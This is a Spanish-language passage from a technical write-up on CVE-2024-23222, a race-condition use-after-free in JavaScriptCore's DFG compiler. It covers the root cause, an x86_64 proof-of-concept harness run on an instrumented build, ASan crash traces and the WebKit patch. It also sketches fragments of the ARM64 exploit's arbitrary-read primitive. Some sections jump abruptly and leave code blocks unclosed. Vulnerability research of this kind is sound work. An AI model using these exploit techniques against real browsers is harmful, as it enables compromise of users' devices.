El `JSValue` devuelto no está protegido. Si contiene un puntero a una celda, nada impide que esa celda se libere entre la liberación del bloqueo y el momento en que el llamador la utiliza.

### 2.3 Rutas de consumo del valor obsoleto

El `JSValue` devuelto puede ser consumido por dos rutas. Si la celda se ha vuelto obsoleta o no válida durante la ventana de carrera, cualquiera de las dos rutas puede fallar.

**Ruta A: `freeze()` en el hilo del compilador.** El consumidor más directo es `Graph::freeze()`, que el llamador invoca inmediatamente sobre el valor devuelto:```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
    if (UNLIKELY(!value))
        return FrozenValue::emptySingleton();

    // This dereferences value as a cell:
    RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
    // ...
    FrozenValue frozenValue = FrozenValue::freeze(value);
    // ...
}

Si la celda fue liberada entre el retorno de `tryGetConstantProperty()` y la ejecución de `freeze()`, `value.asCell()->structure()` es un use-after-free.

**Ruta B: marcado de GC durante la ventana ampliada.** En la compilación de investigación, el hilo del compilador entra en un
safepoint DFG sin procesar dentro de `tryGetConstantProperty()` después de leer la propiedad, pero antes de devolverla
al llamador. Eso permite que el hilo principal ejecute el GC mientras el valor de celda obsoleto sigue existiendo como un local nativo
sin procesar en el lado del compilador. En el PoC actual de Linux x86_64, el fallo revalidado de forma fiable ocurre más tarde
en el marcado de GC, donde `SlotVisitor` acaba desreferenciando una celda obsoleta inválida mientras recorre las referencias del montón.
La pila de fallo actual demuestra que la maquinaria de GC posterior consume el valor obsoleto; no demuestra por sí sola la ranura
de contenedor exacta desde la que se alcanzó ese puntero obsoleto.

### 2.4 Sitios de llamada

Dos lugares en el pipeline de DFG pasan incondicionalmente el resultado de `tryGetConstantProperty()` a `freeze()`:

**ByteCodeParser** — durante el lowering inicial de bytecode a DFG-IR:```cpp
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
    base->asJSValue(),
    *m_graph.addStructureSet(variant.structureSet()),
    variant.offset());
if (constant)
    return weakJSConstant(constant);  // → m_graph.freeze(constant)

Un tercer sitio de llamada en **AbstractInterpreter** también llama a `freeze()`, pero solo cuando el valor devuelto es un `GetterSetter*`:```cpp
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
    setConstant(node, *m_graph.freeze(result));

El valor `config.g = -NaN` sirve como un canal lateral de nivel JIT: `Math.min(-NaN, -NaN)` produce diferentes patrones de bits en el intérprete frente al JIT, observables a través de una superposición `Int32Array`.

**Envoltorio de llamada JIT.** Un `new Function()` con 7.200 repeticiones de relleno de código muerto (`x += 1;` dentro de `if(false)`) controla el tamaño de la región de código JIT. La ruta de código activa es un simple despachador de funciones:```javascript
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
    'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
    `if(false) { let x = 0; ${deadCodePadding} }
     return func(arg0, arg1, arg2, arg3, arg4);`
);

**Lectura arbitraria.** Después de corromper la estructura, `jitReadFn` lee `arr[0]` a través del puntero butterfly corrupto y luego divide por `5e-324` (`Number.MIN_VALUE`) para revertir el NaN-boxing y extraer una dirección cruda:```javascript
const jitReadFn = (state, arr, targetAddr) => {
    state.callFn(corruptFn, state, targetAddr);
    const readValue = arr[0];
    return readValue / 5e-324;  // decode address from NaN-boxed float64
};

La cadena: `apply()` lee las propiedades 0–8. Leer el índice 8 dispara el getter, que libera los arrays de spray. `inlinedFunction` llama entonces a `jitTrigger` con `arguments[3]` (el ahora liberado `sprayArrays[3001]`). El `jitTrigger` compilado por JIT interpreta la memoria liberada como valores float64, decodifica direcciones mediante `/ 5e-324` y resuelve punteros de instancias WebAssembly para inicializar una primitiva arbitraria de lectura/escritura.

### 3.3 Por qué esto es específico de ARM64

Dos propiedades de ARM64 hacen que este exploit no sea portable a x86_64.

**Ordenación de memoria.** La carrera multi-estructura S1→S2→S3 descrita en el commit del parche depende de la ordenación de memoria débil de ARM64. Cuando el hilo principal escribe un nuevo valor de propiedad y luego establece una nueva estructura, ARM64 puede reordenar esos almacenes. El hilo del compilador puede observar la nueva estructura pero leer el valor de propiedad antiguo (obsoleto). El Total Store Order (TSO) de x86_64 garantiza que si el almacén de estructura es visible, todos los almacenes anteriores — incluida la escritura de la propiedad — también son visibles. El mecanismo específico de reordenación de memoria del que depende la carrera de plegado de constantes multi-estructura no aplica bajo TSO, y no se ha observado que esta carrera se manifieste en x86_64.

**Disposición NaN-boxing.** El exploit escribe valores float64 cuidadosamente diseñados en propiedades de objetos, aprovechando que en ARM64 los patrones de bits de esos dobles se superponen con las cabeceras de celda de JSC (IDs de estructura, punteros butterfly) en la representación NaN-boxed. Si bien JSC en x86_64 usa el mismo esquema de NaN-boxing, la codificación específica de IDs de estructura y la disposición de punteros difieren lo suficiente como para que la técnica de type-punning de ARM64 no produzca corrupción de estructura válida en x86_64.

---

## 4. Adaptación a x86_64

### 4.1 Por qué el ataque de ARM64 falla en x86_64

La carrera multi-estructura requiere que el hilo del compilador lea un valor de propiedad de una estructura intermedia (S2) mientras el conjunto de estructuras perfiladas contiene solo {S1, S3}. En x86_64, TSO lo impide: el bloqueo de celda en `tryGetConstantProperty()` proporciona secuenciación, e incluso sin el bloqueo, la ordenación de almacenes garantiza un par (estructura, valor) consistente. Si el hilo del compilador ve la estructura S1, ve el valor de S1. Si ve S2, la comprobación de estructura falla (S2 no está en el conjunto). La ventana específica de reordenación de almacenes que abre la ordenación débil de ARM64 no aplica bajo TSO.

### 4.2 La alternativa: celda liberada durante la compilación

La prueba de concepto para x86_64 explota una consecuencia diferente del mismo TOCTOU. En lugar de lograr
que el compilador pliegue un valor de la estructura incorrecta, hace que el compilador mantenga un
`JSValue` obsoleto con valor de celda que se vuelve inválido a lo largo de la ventana de carrera ampliada.

La secuencia:

1. `tryGetConstantProperty()` lee una propiedad con valor de celda bajo el bloqueo de celda.
2. El bloqueo se libera. El puntero de celda es ahora un `JSValue` crudo en la pila nativa de C++ del hilo del compilador.
3. El hilo principal reemplaza la propiedad (`state.val = 0`), eliminando la última referencia de JavaScript a la celda.
4. El hilo principal dispara la recolección de basura.
5. GC **no** escanea la pila del hilo del compilador. Los hilos del compilador DFG nunca adquieren `JSLock` y, por lo tanto, nunca se registran en el conjunto de hilos de máquina del GC:```cpp
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
    m_lastOwnerThread = thread.uid();
    if (m_vm->heap.machineThreads().addCurrentThread()) {
        // ...
    }
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.

`state.val` contiene la celda objetivo. `Object.seal()` fija la estructura para que el DFG pueda tratar `state` como una constante conocida.

**Función sonda.** Una función generada dinámicamente lee `state.val`. Cuando el DFG compila esta función, intenta plegar la constante del acceso a la propiedad, entrando en `tryGetConstantProperty()`:```javascript
let probe = new Function(
    'state',
    'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);

**Liberar y recolectar.** Una vez que el hilo del compilador DFG ha leído la celda (la compilación instrumentada se detiene aquí), el hilo principal suelta la referencia y ejecuta el GC. La lógica real del harness está parametrizada, pero la forma de trabajo predeterminada es:```javascript
state.val = 0;    // remove the JS reference to the target cell
probe = null;     // drop the probe closure

burnInterpreterRegisters(SCRUB_ROUNDS);

Promise.resolve().then(() => {
    burnInterpreterRegisters(SCRUB_ROUNDS);
    runGcSequence();      // repeated GC passes plus allocation pressure
});
drainMicrotasks();

`burnInterpreterRegisters()` es una función numérica recursiva que sobrescribe las ranuras de registros del intérprete en la pila del hilo principal, reduciendo la probabilidad de que el escaneo conservador de la pila encuentre un puntero obsoleto a la celda objetivo.

### 5.2 Instrumentación del motor

La compilación de investigación modifica `tryGetConstantProperty()` en `DFGGraph.cpp`. Después de que se libera el bloqueo de la celda y antes de que la función retorne, la instrumentación:

1. Opcionalmente escribe un archivo de señal (para la sincronización del lado de JS; deshabilitado en la mejor configuración actual).
2. Entra en un `Safepoint` DFG sin procesar, que libera el bloqueo `m_rightToRun` del hilo del compilador. Esto permite que el GC continúe sin esperar al hilo del compilador.
3. Duerme durante una duración configurable (predeterminado: 500 ms).
4. Al despertar, vuelve a adquirir `m_rightToRun` y comprueba si el plan de compilación fue cancelado.```cpp
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
    Safepoint::Result safepointResult;
    {
        // Raw Safepoint — does NOT register Graph as a Scannable.
        // GC will not visit the Graph's frozen values during this window.
        Safepoint safepoint(m_plan, safepointResult);
        safepoint.begin();          // releases m_rightToRun
        usleep(tgcpSleepUsec());    // default: 500,000 µs
    }                               // destructor re-acquires m_rightToRun

    if (safepointResult.didGetCancelled())
        return JSValue();           // plan was cancelled during sleep
}
return result;  // caller calls freeze(result)

**Explicación de las banderas:**

| Flag | Propósito |
|------|---------|
| `--useConcurrentJIT=true` | Habilitar compilación DFG en segundo plano (la carrera requiere dos hilos) |
| `--thresholdForOptimizeAfterWarmUp=20` | Reducir el umbral de ascenso a DFG para que la compilación comience tras un calentamiento mínimo |
| `--thresholdForJITAfterWarmUp=5` | Reducir el umbral del JIT de referencia (baseline) |
| `--thresholdForFTLOptimizeAfterWarmUp=1000000` | Evitar que FTL compita con DFG; mantener la compilación en el nivel DFG |
| `JSC_TGCP_SLEEP_USEC=500000` | Ventana de carrera de 500ms en la compilación instrumentada |
| `JSC_TGCP_SIGNAL_PATH=''` | Deshabilitar el archivo de señal (solo sincronización basada en tiempos) |
| `ASAN_OPTIONS=...quarantine_size_mb=256` | Una cuarentena grande evita que la memoria liberada se reutilice de inmediato |

Las banderas de niveles (tiering) son críticas. Sin ellas, la programación del JIT cambia lo suficiente como para que la compilación y la liberación del hilo principal pierdan la sincronización.

---

## 6. Análisis de fallos

### 6.1 El fallo de marcado del GC

El fallo reproducible principal ocurre durante la recolección de basura, cuando el `SlotVisitor` del GC intenta marcar una celda obsoleta. Una ejecución completa representativa se ve así:```text
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
    #0  WTF::Dependency::loadAndFence<unsigned int>()
    #1  JSC::MarkedBlock::aboutToMark(unsigned int)
    #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
    #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
    #4  JSC::SlotVisitor::appendHidden(...)
    #5  JSC::SlotVisitor::appendValuesHidden(...)
    #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
    #7  JSC::JSFinalObject::visitChildren(...)
    #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
    #9  JSC::SlotVisitor::drain(...)
    #10 JSC::SlotVisitor::drainFromShared(...)
    #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
    #12 WTF::SharedTaskFunctor<...>::run()
    #13 WTF::ParallelHelperClient::runTask(...)
    #14 WTF::ParallelHelperPool::Thread::work()

En algún punto de ese recorrido, `appendHiddenUnbarriered` recibe un `JSValue` obsoleto con valor de celda y lo trata como una celda viva:```cpp
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);

The `loadAndFence` lee desde la dirección basura `MarkedBlock` (`0x180000008020`), causando el SEGV.

### 6.2 La variante de fallo `freeze()`

Bajo diferentes condiciones de sincronización, el mismo TOCTOU también produce un fallo directamente en el hilo de trabajo del compilador DFG, en la ruta `freeze()`:```
    #0  ClassInfo::isSubClassOf()
    #1  JSCell::inherits()
    #2  jsDynamicCast<CodeBlock, JSCell>()
    #3  Graph::freeze(JSValue)
    #4  ByteCodeParser::weakJSConstant()
    #5  ByteCodeParser::load<GetByVariant>()

La línea `[tgcp] HIT` confirma que `tryGetConstantProperty()` plegó constantemente la propiedad objetivo como un valor de celda. La línea `RACE` muestra el hilo del compilador entrando en la ventana ampliada. La línea `WAKE` muestra su reanudación. El informe de ASan reporta la celda como "accesible" — ASan no ve una simple violación de redzone — pero los punteros internos de la celda (ID de estructura, puntero inverso a `MarkedBlock`) están obsoletos, lo que provoca el fallo cuando el propio código de JSC intenta usarlos.

---

## 7. Instrumentación de investigación

### 7.1 Qué es artificial

La compilación de investigación modifica `tryGetConstantProperty()` de tres maneras:

- Un `usleep()` de 500 ms amplía la ventana de carrera. El motor estándar no tiene sleep aquí; la ventana natural entre la liberación del bloqueo de la celda y la llamada a `freeze()` es de nanosegundos.
- Se entra en un `Safepoint` sin registrar el `Graph` como un `Scannable`. Los safepoints de producción (a través de `GraphSafepoint`) añaden el `Graph`, lo que hace que el GC visite todos los valores congelados. El safepoint crudo hace que la celda aún no congelada sea invisible para el GC.
- Las variables de entorno (`JSC_TGCP_SLEEP_USEC`, `JSC_TGCP_SIGNAL_PATH`) controlan la duración del sleep y un archivo de señal opcional.

### 7.2 Qué no es artificial

El fallo en sí proviene de rutas de código JSC sin modificar:

- `JSFinalObject::visitChildrenImpl` y `SlotVisitor::appendHiddenUnbarriered` son lógica de marcado GC estándar.
- `Graph::freeze()` y `FrozenValue::freeze()` son lógica estándar del compilador DFG.
- No se utiliza `__asan_poison_memory_region()` ni otra corrupción manual de memoria.
- No se inserta ninguna sonda explícita de "desreferenciar el puntero obsoleto aquí" en la ruta del fallo.
- El harness de JavaScript usa solo API públicas de JSC y builtins del shell `jsc` (`optimizeNextInvocation`, `numberOfDFGCompiles`, `fullGC`, `drainMicrotasks`).
- Los hilos del compilador DFG realmente no son escaneados por el GC — esto es comportamiento de producción, no un artefacto de investigación.

### 7.3 Evaluación

La ventana de carrera natural es demasiado estrecha para una reproducción fiable en x86_64 sin instrumentación. En ARM64, el ordenamiento débil de memoria otorga al exploit original una ventana natural mucho más amplia — los almacenamientos de estructura y de valor pueden reordenarse, por lo que el hilo del compilador puede observar un estado inconsistente sin ninguna ayuda artificial de temporización.

Un exploit hipotético de producción en x86_64 necesitaría o bien una forma de detener el hilo del compilador en el punto crítico (p. ej., una búsqueda de estructura lenta, un candado con contención, o una forma patológica del grafo que retrase `freeze()`) o un enfoque estadístico con muchos intentos de compilación. La instrumentación sustituye ese requisito por un sleep determinista.

---

## 8. El parche

El commit `64714692967ad278155fcae66c5cb0f853b3bf34` de WebKit de Yusuke Suzuki (revisado por Mark Lam) corrige la vulnerabilidad.

La corrección introduce una nueva clase, `DesiredObjectProperties`, que registra tuplas `(JSObject*, PropertyOffset, JSValue, Structure*)` cada vez que el compilador DFG pliega constantemente una carga de propiedad. Tras completar la compilación, `Plan::isStillValidOnMainThread()` vuelve a leer estas propiedades en el hilo principal y las compara con los valores registrados. Si alguna tupla está obsoleta — la estructura del objeto cambió, o el valor de la propiedad difiere — el plan compilado se descarta antes de que pueda ejecutarse.

Esto convierte el TOCTOU en una comprobación atómica: la instantánea del compilador se valida en un punto de sincronización (la finalización del hilo principal) antes de que se instale el código optimizado. El UAF de `freeze()` todavía puede ocurrir durante la compilación, pero el código resultante nunca se utiliza.

Para conjuntos de múltiples estructuras, el `tryGetConstantProperty()` parcheado también rechaza el plegado constante por completo cuando `structureSet.size() > 1` y no todas las estructuras están siendo observadas activamente. Esto elimina el ataque de transición transitiva S1→S2→S3 en su origen.

---

## 9. Archivos

| Archivo | Descripción |
|------|-------------|
| `toctou_clean_asan_v2.js` | Harness de JavaScript de prueba de concepto |
| `DFGGraph.cpp` | Función vulnerable (`tryGetConstantProperty`), `freeze()`, e instrumentación de investigación |
| `DFGFrozenValue.h` | `FrozenValue::freeze()` — el punto de desreferenciación de la celda |
| `DFGByteCodeParser.cpp` | Lugar de llamada de `weakJSConstant()` |
| `DFGConstantFoldingPhase.cpp` | Lugar de llamada de `emitGetByOffset()` |
| `DFGAbstractInterpreterInlines.h` | Lugar de llamada del intérprete abstracto |
| `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` — lugar del fallo de marcado GC |
| `MarkedBlock.h` | `aboutToMark()` — donde ocurre el SEGV |
| `JSLock.cpp` | `didAcquireLock()` — muestra que los hilos DFG no están registrados con el GC |